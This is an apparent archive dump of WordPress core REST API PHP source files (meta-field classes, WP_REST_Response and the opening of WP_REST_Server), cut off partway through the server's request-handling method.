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fields/class-wp-rest-comment-meta-fields.php000066600000001575151114277720015102 0ustar00<?php
/**
 * REST API: WP_REST_Comment_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage comment meta via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Comment_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the object type for comment meta.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'comment';
	}

	/**
	 * Retrieves the object meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'comment' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'comment';
	}

	/**
	 * Retrieves the type for register_rest_field() in the context of comments.
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'comment';
	}
}
fields/class-wp-rest-meta-fields.php000066600000032613151114277720013437 0ustar00<?php
/**
 * REST API: WP_REST_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage meta values for an object via the REST API.
 *
 * @since 4.7.0
 */
abstract class WP_REST_Meta_Fields {

	/**
	 * Retrieves the object meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string One of 'post', 'comment', 'term', 'user', or anything
	 *                else supported by `_get_meta_table()`.
	 */
	abstract protected function get_meta_type();

	/**
	 * Retrieves the object meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return '';
	}

	/**
	 * Retrieves the object type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type, such as post type name, taxonomy name, 'comment', or `user`.
	 */
	abstract protected function get_rest_field_type();

	/**
	 * Registers the meta field.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_field()
	 */
	public function register_field() {
		register_rest_field( $this->get_rest_field_type(), 'meta', array(
			'get_callback'    => array( $this, 'get_value' ),
			'update_callback' => array( $this, 'update_value' ),
			'schema'          => $this->get_field_schema(),
		));
	}

	/**
	 * Retrieves the meta field value.
	 *
	 * @since 4.7.0
	 *
	 * @param int             $object_id Object ID to fetch meta for.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @return WP_Error|object Object containing the meta values by name, otherwise WP_Error object.
	 */
	public function get_value( $object_id, $request ) {
		$fields   = $this->get_registered_fields();
		$response = array();

		foreach ( $fields as $meta_key => $args ) {
			$name = $args['name'];
			$all_values = get_metadata( $this->get_meta_type(), $object_id, $meta_key, false );
			if ( $args['single'] ) {
				if ( empty( $all_values ) ) {
					$value = $args['schema']['default'];
				} else {
					$value = $all_values[0];
				}
				$value = $this->prepare_value_for_response( $value, $request, $args );
			} else {
				$value = array();
				foreach ( $all_values as $row ) {
					$value[] = $this->prepare_value_for_response( $row, $request, $args );
				}
			}

			$response[ $name ] = $value;
		}

		return $response;
	}

	/**
	 * Prepares a meta value for a response.
	 *
	 * This is required because some native types cannot be stored correctly
	 * in the database, such as booleans. We need to cast back to the relevant
	 * type before passing back to JSON.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value to prepare.
	 * @param WP_REST_Request $request Current request object.
	 * @param array           $args    Options for the field.
	 * @return mixed Prepared value.
	 */
	protected function prepare_value_for_response( $value, $request, $args ) {
		if ( ! empty( $args['prepare_callback'] ) ) {
			$value = call_user_func( $args['prepare_callback'], $value, $request, $args );
		}

		return $value;
	}

	/**
	 * Updates meta values.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $meta      Array of meta parsed from the request.
	 * @param int             $object_id Object ID to fetch meta for.
	 * @return WP_Error|null WP_Error if one occurs, null on success.
	 */
	public function update_value( $meta, $object_id ) {
		$fields = $this->get_registered_fields();
		foreach ( $fields as $meta_key => $args ) {
			$name = $args['name'];
			if ( ! array_key_exists( $name, $meta ) ) {
				continue;
			}

			/*
			 * A null value means reset the field, which is essentially deleting it
			 * from the database and then relying on the default value.
			 */
			if ( is_null( $meta[ $name ] ) ) {
				$result = $this->delete_meta_value( $object_id, $meta_key, $name );
				if ( is_wp_error( $result ) ) {
					return $result;
				}
				continue;
			}

			$is_valid = rest_validate_value_from_schema( $meta[ $name ], $args['schema'], 'meta.' . $name );
			if ( is_wp_error( $is_valid ) ) {
				$is_valid->add_data( array( 'status' => 400 ) );
				return $is_valid;
			}

			$value = rest_sanitize_value_from_schema( $meta[ $name ], $args['schema'] );

			if ( $args['single'] ) {
				$result = $this->update_meta_value( $object_id, $meta_key, $name, $value );
			} else {
				$result = $this->update_multi_meta_value( $object_id, $meta_key, $name, $value );
			}

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return null;
	}

	/**
	 * Deletes a meta value for an object.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $object_id Object ID the field belongs to.
	 * @param string $meta_key  Key for the field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @return bool|WP_Error True if meta field is deleted, WP_Error otherwise.
	 */
	protected function delete_meta_value( $object_id, $meta_key, $name ) {
		$meta_type = $this->get_meta_type();
		if ( ! current_user_can( "delete_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				/* translators: %s: custom field key */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array( 'key' => $name, 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				__( 'Could not delete meta value from database.' ),
				array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR )
			);
		}

		return true;
	}

	/**
	 * Updates multiple meta values for an object.
	 *
	 * Alters the list of values in the database to match the list of provided values.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param array  $values    List of values to update to.
	 * @return bool|WP_Error True if meta fields are updated, WP_Error otherwise.
	 */
	protected function update_multi_meta_value( $object_id, $meta_key, $name, $values ) {
		$meta_type = $this->get_meta_type();
		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: custom field key */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array( 'key' => $name, 'status' => rest_authorization_required_code() )
			);
		}

		$current = get_metadata( $meta_type, $object_id, $meta_key, false );

		$to_remove = $current;
		$to_add    = $values;

		foreach ( $to_add as $add_key => $value ) {
			$remove_keys = array_keys( $to_remove, $value, true );

			if ( empty( $remove_keys ) ) {
				continue;
			}

			if ( count( $remove_keys ) > 1 ) {
				// To remove, we need to remove first, then add, so don't touch.
				continue;
			}

			$remove_key = $remove_keys[0];

			unset( $to_remove[ $remove_key ] );
			unset( $to_add[ $add_key ] );
		}

		// `delete_metadata` removes _all_ instances of the value, so only call once.
		$to_remove = array_unique( $to_remove );

		foreach ( $to_remove as $value ) {
			if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					__( 'Could not update meta value in database.' ),
					array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR )
				);
			}
		}

		foreach ( $to_add as $value ) {
			if ( ! add_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					__( 'Could not update meta value in database.' ),
					array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR )
				);
			}
		}

		return true;
	}

	/**
	 * Updates a meta value for an object.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param mixed  $value     Updated value.
	 * @return bool|WP_Error True if the meta field was updated, WP_Error otherwise.
	 */
	protected function update_meta_value( $object_id, $meta_key, $name, $value ) {
		$meta_type = $this->get_meta_type();
		if ( ! current_user_can(  "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: custom field key */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array( 'key' => $name, 'status' => rest_authorization_required_code() )
			);
		}

		// Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false.
		$old_value = get_metadata( $meta_type, $object_id, $meta_key );
		$subtype   = get_object_subtype( $meta_type, $object_id );

		if ( 1 === count( $old_value ) ) {
			if ( (string) sanitize_meta( $meta_key, $value, $meta_type, $subtype ) === $old_value[0] ) {
				return true;
			}
		}

		if ( ! update_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				__( 'Could not update meta value in database.' ),
				array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR )
			);
		}

		return true;
	}

	/**
	 * Retrieves all the registered meta fields.
	 *
	 * @since 4.7.0
	 *
	 * @return array Registered fields.
	 */
	protected function get_registered_fields() {
		$registered = array();

		$meta_type    = $this->get_meta_type();
		$meta_subtype = $this->get_meta_subtype();

		$meta_keys = get_registered_meta_keys( $meta_type );
		if ( ! empty( $meta_subtype ) ) {
			$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $meta_type, $meta_subtype ) );
		}

		foreach ( $meta_keys as $name => $args ) {
			if ( empty( $args['show_in_rest'] ) ) {
				continue;
			}

			$rest_args = array();

			if ( is_array( $args['show_in_rest'] ) ) {
				$rest_args = $args['show_in_rest'];
			}

			$default_args = array(
				'name'             => $name,
				'single'           => $args['single'],
				'type'             => ! empty( $args['type'] ) ? $args['type'] : null,
				'schema'           => array(),
				'prepare_callback' => array( $this, 'prepare_value' ),
			);

			$default_schema = array(
				'type'        => $default_args['type'],
				'description' => empty( $args['description'] ) ? '' : $args['description'],
				'default'     => isset( $args['default'] ) ? $args['default'] : null,
			);

			$rest_args = array_merge( $default_args, $rest_args );
			$rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] );

			$type = ! empty( $rest_args['type'] ) ? $rest_args['type'] : null;
			$type = ! empty( $rest_args['schema']['type'] ) ? $rest_args['schema']['type'] : $type;

			if ( ! in_array( $type, array( 'string', 'boolean', 'integer', 'number' ) ) ) {
				continue;
			}

			if ( empty( $rest_args['single'] ) ) {
				$rest_args['schema']['items'] = array(
					'type' => $rest_args['type'],
				);
				$rest_args['schema']['type'] = 'array';
			}

			$registered[ $name ] = $rest_args;
		}

		return $registered;
	}

	/**
	 * Retrieves the object's meta schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Field schema data.
	 */
	public function get_field_schema() {
		$fields = $this->get_registered_fields();

		$schema = array(
			'description' => __( 'Meta fields.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit' ),
			'properties'  => array(),
			'arg_options' => array(
				'sanitize_callback' => null,
				'validate_callback' => array( $this, 'check_meta_is_array' ),
			),
		);

		foreach ( $fields as $args ) {
			$schema['properties'][ $args['name'] ] = $args['schema'];
		}

		return $schema;
	}

	/**
	 * Prepares a meta value for output.
	 *
	 * Default preparation for meta fields. Override by passing the
	 * `prepare_callback` in your `show_in_rest` options.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value from the database.
	 * @param WP_REST_Request $request Request object.
	 * @param array           $args    REST-specific options for the meta key.
	 * @return mixed Value prepared for output. If a non-JsonSerializable object, null.
	 */
	public static function prepare_value( $value, $request, $args ) {
		$type = $args['schema']['type'];

		// For multi-value fields, check the item type instead.
		if ( 'array' === $type && ! empty( $args['schema']['items']['type'] ) ) {
			$type = $args['schema']['items']['type'];
		}

		switch ( $type ) {
			case 'string':
				$value = (string) $value;
				break;
			case 'integer':
				$value = (int) $value;
				break;
			case 'number':
				$value = (float) $value;
				break;
			case 'boolean':
				$value = (bool) $value;
				break;
		}

		// Don't allow objects to be output.
		if ( is_object( $value ) && ! ( $value instanceof JsonSerializable ) ) {
			return null;
		}

		return $value;
	}

	/**
	 * Check the 'meta' value of a request is an associative array.
	 *
	 * @since 4.7.0
	 *
	 * @param  mixed           $value   The meta value submitted in the request.
	 * @param  WP_REST_Request $request Full details about the request.
	 * @param  string          $param   The parameter name.
	 * @return WP_Error|string The meta array, if valid, otherwise an error.
	 */
	public function check_meta_is_array( $value, $request, $param ) {
		if ( ! is_array( $value ) ) {
			return false;
		}

		return $value;
	}
}
fields/class-wp-rest-post-meta-fields.php000066600000002340151114277720014414 0ustar00<?php
/**
 * REST API: WP_REST_Post_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Post_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Post type to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_type Post type to register fields for.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
	}

	/**
	 * Retrieves the object meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'post';
	}

	/**
	 * Retrieves the object meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->post_type;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_field()
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return $this->post_type;
	}
}
fields/class-wp-rest-user-meta-fields.php000066600000001534151114277720014411 0ustar00<?php
/**
 * REST API: WP_REST_User_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_User_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the object meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The user meta type.
	 */
	protected function get_meta_type() {
		return 'user';
	}

	/**
	 * Retrieves the object meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'user' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'user';
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The user REST field type.
	 */
	public function get_rest_field_type() {
		return 'user';
	}
}
fields/class-wp-rest-term-meta-fields.php000066600000002335151114277720014402 0ustar00<?php
/**
 * REST API: WP_REST_Term_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for terms via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Term_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Taxonomy to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy to register fields for.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy = $taxonomy;
	}

	/**
	 * Retrieves the object meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'term';
	}

	/**
	 * Retrieves the object meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->taxonomy;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy;
	}
}
class-wp-rest-response.php000066600000016253151114277720011637 0ustar00<?php
/**
 * REST API: WP_REST_Response class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement a REST response object.
 *
 * @since 4.4.0
 *
 * @see WP_HTTP_Response
 */
class WP_REST_Response extends WP_HTTP_Response {

	/**
	 * Links related to the response.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $links = array();

	/**
	 * The route that was to create the response.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $matched_route = '';

	/**
	 * The handler that was used to create the response.
	 *
	 * @since 4.4.0
	 * @var null|array
	 */
	protected $matched_handler = null;

	/**
	 * Adds a link to the response.
	 *
	 * @internal The $rel parameter is first, as this looks nicer when sending multiple.
	 *
	 * @since 4.4.0
	 *
	 * @link https://tools.ietf.org/html/rfc5988
	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
	 *
	 * @param string $rel        Link relation. Either an IANA registered type,
	 *                           or an absolute URL.
	 * @param string $href       Target URI for the link.
	 * @param array  $attributes Optional. Link parameters to send along with the URL. Default empty array.
	 */
	public function add_link( $rel, $href, $attributes = array() ) {
		if ( empty( $this->links[ $rel ] ) ) {
			$this->links[ $rel ] = array();
		}

		if ( isset( $attributes['href'] ) ) {
			// Remove the href attribute, as it's used for the main URL.
			unset( $attributes['href'] );
		}

		$this->links[ $rel ][] = array(
			'href'       => $href,
			'attributes' => $attributes,
		);
	}

	/**
	 * Removes a link from the response.
	 *
	 * @since 4.4.0
	 *
	 * @param  string $rel  Link relation. Either an IANA registered type, or an absolute URL.
	 * @param  string $href Optional. Only remove links for the relation matching the given href.
	 *                      Default null.
	 */
	public function remove_link( $rel, $href = null ) {
		if ( ! isset( $this->links[ $rel ] ) ) {
			return;
		}

		if ( $href ) {
			$this->links[ $rel ] = wp_list_filter( $this->links[ $rel ], array( 'href' => $href ), 'NOT' );
		} else {
			$this->links[ $rel ] = array();
		}

		if ( ! $this->links[ $rel ] ) {
			unset( $this->links[ $rel ] );
		}
	}

	/**
	 * Adds multiple links to the response.
	 *
	 * Link data should be an associative array with link relation as the key.
	 * The value can either be an associative array of link attributes
	 * (including `href` with the URL for the response), or a list of these
	 * associative arrays.
	 *
	 * @since 4.4.0
	 *
	 * @param array $links Map of link relation to list of links.
	 */
	public function add_links( $links ) {
		foreach ( $links as $rel => $set ) {
			// If it's a single link, wrap with an array for consistent handling.
			if ( isset( $set['href'] ) ) {
				$set = array( $set );
			}

			foreach ( $set as $attributes ) {
				$this->add_link( $rel, $attributes['href'], $attributes );
			}
		}
	}

	/**
	 * Retrieves links for the response.
	 *
	 * @since 4.4.0
	 *
	 * @return array List of links.
	 */
	public function get_links() {
		return $this->links;
	}

	/**
	 * Sets a single link header.
	 *
	 * @internal The $rel parameter is first, as this looks nicer when sending multiple.
	 *
	 * @since 4.4.0
	 *
	 * @link https://tools.ietf.org/html/rfc5988
	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
	 *
	 * @param string $rel   Link relation. Either an IANA registered type, or an absolute URL.
	 * @param string $link  Target IRI for the link.
	 * @param array  $other Optional. Other parameters to send, as an assocative array.
	 *                      Default empty array.
	 */
	public function link_header( $rel, $link, $other = array() ) {
		$header = '<' . $link . '>; rel="' . $rel . '"';

		foreach ( $other as $key => $value ) {
			if ( 'title' === $key ) {
				$value = '"' . $value . '"';
			}
			$header .= '; ' . $key . '=' . $value;
		}
		$this->header( 'Link', $header, false );
	}

	/**
	 * Retrieves the route that was used.
	 *
	 * @since 4.4.0
	 *
	 * @return string The matched route.
	 */
	public function get_matched_route() {
		return $this->matched_route;
	}

	/**
	 * Sets the route (regex for path) that caused the response.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route name.
	 */
	public function set_matched_route( $route ) {
		$this->matched_route = $route;
	}

	/**
	 * Retrieves the handler that was used to generate the response.
	 *
	 * @since 4.4.0
	 *
	 * @return null|array The handler that was used to create the response.
	 */
	public function get_matched_handler() {
		return $this->matched_handler;
	}

	/**
	 * Retrieves the handler that was responsible for generating the response.
	 *
	 * @since 4.4.0
	 *
	 * @param array $handler The matched handler.
	 */
	public function set_matched_handler( $handler ) {
		$this->matched_handler = $handler;
	}

	/**
	 * Checks if the response is an error, i.e. >= 400 response code.
	 *
	 * @since 4.4.0
	 *
	 * @return bool Whether the response is an error.
	 */
	public function is_error() {
		return $this->get_status() >= 400;
	}

	/**
	 * Retrieves a WP_Error object from the response.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Error|null WP_Error or null on not an errored response.
	 */
	public function as_error() {
		if ( ! $this->is_error() ) {
			return null;
		}

		$error = new WP_Error;

		if ( is_array( $this->get_data() ) ) {
			$data = $this->get_data();
			$error->add( $data['code'], $data['message'], $data['data'] );
			if ( ! empty( $data['additional_errors'] ) ) {
				foreach( $data['additional_errors'] as $err ) {
					$error->add( $err['code'], $err['message'], $err['data'] );
				}
			}
		} else {
			$error->add( $this->get_status(), '', array( 'status' => $this->get_status() ) );
		}

		return $error;
	}

	/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * @since 4.5.0
	 *
	 * @return array Compact URIs.
	 */
	public function get_curies() {
		$curies = array(
			array(
				'name' => 'wp',
				'href' => 'https://api.w.org/{rel}',
				'templated' => true,
			),
		);

		/**
		 * Filters extra CURIEs available on API responses.
		 *
		 * CURIEs allow a shortened version of URI relations. This allows a more
		 * usable form for custom relations than using the full URI. These work
		 * similarly to how XML namespaces work.
		 *
		 * Registered CURIES need to specify a name and URI template. This will
		 * automatically transform URI relations into their shortened version.
		 * The shortened relation follows the format `{name}:{rel}`. `{rel}` in
		 * the URI template will be replaced with the `{rel}` part of the
		 * shortened relation.
		 *
		 * For example, a CURIE with name `example` and URI template
		 * `http://w.org/{rel}` would transform a `http://w.org/term` relation
		 * into `example:term`.
		 *
		 * Well-behaved clients should expand and normalise these back to their
		 * full URI relation, however some naive clients may not resolve these
		 * correctly, so adding new CURIEs may break backward compatibility.
		 *
		 * @since 4.5.0
		 *
		 * @param array $additional Additional CURIEs to register with the API.
		 */
		$additional = apply_filters( 'rest_response_link_curies', array() );
		return array_merge( $curies, $additional );
	}
}
class-wp-rest-server.php000066600000113670151114277720011310 0ustar00<?php
/**
 * REST API: WP_REST_Server class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement the WordPress REST API server.
 *
 * @since 4.4.0
 */
class WP_REST_Server {

	/**
	 * Alias for GET transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const READABLE = 'GET';

	/**
	 * Alias for POST transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const CREATABLE = 'POST';

	/**
	 * Alias for POST, PUT, PATCH transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const EDITABLE = 'POST, PUT, PATCH';

	/**
	 * Alias for DELETE transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const DELETABLE = 'DELETE';

	/**
	 * Alias for GET, POST, PUT, PATCH & DELETE transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const ALLMETHODS = 'GET, POST, PUT, PATCH, DELETE';

	/**
	 * Namespaces registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $namespaces = array();

	/**
	 * Endpoints registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $endpoints = array();

	/**
	 * Options defined for the routes.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $route_options = array();

	/**
	 * Instantiates the REST server.
	 *
	 * @since 4.4.0
	 */
	public function __construct() {
		$this->endpoints = array(
			// Meta endpoints.
			'/' => array(
				'callback' => array( $this, 'get_index' ),
				'methods' => 'GET',
				'args' => array(
					'context' => array(
						'default' => 'view',
					),
				),
			),
		);
	}


	/**
	 * Checks the authentication headers if supplied.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Error|null WP_Error indicates unsuccessful login, null indicates successful
	 *                       or no authentication provided
	 */
	public function check_authentication() {
		/**
		 * Filters REST authentication errors.
		 *
		 * This is used to pass a WP_Error from an authentication method back to
		 * the API.
		 *
		 * Authentication methods should check first if they're being used, as
		 * multiple authentication methods can be enabled on a site (cookies,
		 * HTTP basic auth, OAuth). If the authentication method hooked in is
		 * not actually being attempted, null should be returned to indicate
		 * another authentication method should check instead. Similarly,
		 * callbacks should ensure the value is `null` before checking for
		 * errors.
		 *
		 * A WP_Error instance can be returned if an error occurs, and this should
		 * match the format used by API methods internally (that is, the `status`
		 * data should be used). A callback can return `true` to indicate that
		 * the authentication method was used, and it succeeded.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_Error|null|bool WP_Error if authentication error, null if authentication
		 *                              method wasn't used, true if authentication succeeded.
		 */
		return apply_filters( 'rest_authentication_errors', null );
	}

	/**
	 * Converts an error to a response object.
	 *
	 * This iterates over all error codes and messages to change it into a flat
	 * array. This enables simpler client behaviour, as it is represented as a
	 * list in JSON rather than an object/map.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_Error $error WP_Error instance.
	 * @return WP_REST_Response List of associative arrays with code and message keys.
	 */
	protected function error_to_response( $error ) {
		$error_data = $error->get_error_data();

		if ( is_array( $error_data ) && isset( $error_data['status'] ) ) {
			$status = $error_data['status'];
		} else {
			$status = 500;
		}

		$errors = array();

		foreach ( (array) $error->errors as $code => $messages ) {
			foreach ( (array) $messages as $message ) {
				$errors[] = array( 'code' => $code, 'message' => $message, 'data' => $error->get_error_data( $code ) );
			}
		}

		$data = $errors[0];
		if ( count( $errors ) > 1 ) {
			// Remove the primary error.
			array_shift( $errors );
			$data['additional_errors'] = $errors;
		}

		$response = new WP_REST_Response( $data, $status );

		return $response;
	}

	/**
	 * Retrieves an appropriate error representation in JSON.
	 *
	 * Note: This should only be used in WP_REST_Server::serve_request(), as it
	 * cannot handle WP_Error internally. All callbacks and other internal methods
	 * should instead return a WP_Error with the data set to an array that includes
	 * a 'status' key, with the value being the HTTP status to send.
	 *
	 * @since 4.4.0
	 *
	 * @param string $code    WP_Error-style code.
	 * @param string $message Human-readable message.
	 * @param int    $status  Optional. HTTP status code to send. Default null.
	 * @return string JSON representation of the error
	 */
	protected function json_error( $code, $message, $status = null ) {
		if ( $status ) {
			$this->set_status( $status );
		}

		$error = compact( 'code', 'message' );

		return wp_json_encode( $error );
	}

	/**
	 * Handles serving an API request.
	 *
	 * Matches the current server URI to a route and runs the first matching
	 * callback then outputs a JSON representation of the returned value.
	 *
	 * @since 4.4.0
	 *
	 * @see WP_REST_Server::dispatch()
	 *
	 * @param string $path Optional. The request route. If not set, `$_SERVER['PATH_INFO']` will be used.
	 *                     Default null.
	 * @return false|null Null if not served and a HEAD request, false otherwise.
	 */
	public function serve_request( $path = null ) {
		$content_type = isset( $_GET['_jsonp'] ) ? 'application/javascript' : 'application/json';
		$this->send_header( 'Content-Type', $content_type . '; charset=' . get_option( 'blog_charset' ) );
		$this->send_header( 'X-Robots-Tag', 'noindex' );

		$api_root = get_rest_url();
		if ( ! empty( $api_root ) ) {
			$this->send_header( 'Link', '<' . esc_url_raw( $api_root ) . '>; rel="https://api.w.org/"' );
		}

		/*
		 * Mitigate possible JSONP Flash attacks.
		 *
		 * https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
		 */
		$this->send_header( 'X-Content-Type-Options', 'nosniff' );
		$this->send_header( 'Access-Control-Expose-Headers', 'X-WP-Total, X-WP-TotalPages' );
		$this->send_header( 'Access-Control-Allow-Headers', 'Authorization, Content-Type' );

		/**
		 * Filters whether the REST API is enabled.
		 *
		 * @since 4.4.0
		 * @deprecated 4.7.0 Use the rest_authentication_errors filter to restrict access to the API
		 *
		 * @param bool $rest_enabled Whether the REST API is enabled. Default true.
		 */
		apply_filters_deprecated( 'rest_enabled', array( true ), '4.7.0', 'rest_authentication_errors',
			__( 'The REST API can no longer be completely disabled, the rest_authentication_errors filter can be used to restrict access to the API, instead.' )
		);

		/**
		 * Filters whether jsonp is enabled.
		 *
		 * @since 4.4.0
		 *
		 * @param bool $jsonp_enabled Whether jsonp is enabled. Default true.
		 */
		$jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true );

		$jsonp_callback = null;

		if ( isset( $_GET['_jsonp'] ) ) {
			if ( ! $jsonp_enabled ) {
				echo $this->json_error( 'rest_callback_disabled', __( 'JSONP support is disabled on this site.' ), 400 );
				return false;
			}

			$jsonp_callback = $_GET['_jsonp'];
			if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) {
				echo $this->json_error( 'rest_callback_invalid', __( 'Invalid JSONP callback function.' ), 400 );
				return false;
			}
		}

		if ( empty( $path ) ) {
			if ( isset( $_SERVER['PATH_INFO'] ) ) {
				$path = $_SERVER['PATH_INFO'];
			} else {
				$path = '/';
			}
		}

		$request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path );

		$request->set_query_params( wp_unslash( $_GET ) );
		$request->set_body_params( wp_unslash( $_POST ) );
		$request->set_file_params( $_FILES );
		$request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );
		$request->set_body( $this->get_raw_data() );

		/*
		 * HTTP method override for clients that can't use PUT/PATCH/DELETE. First, we check
		 * $_GET['_method']. If that is not set, we check for the HTTP_X_HTTP_METHOD_OVERRIDE
		 * header.
		 */
		$method_overridden = false;
		if ( isset( $_GET['_method'] ) ) {
			$request->set_method( $_GET['_method'] );
		} elseif ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) {
			$request->set_method( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] );
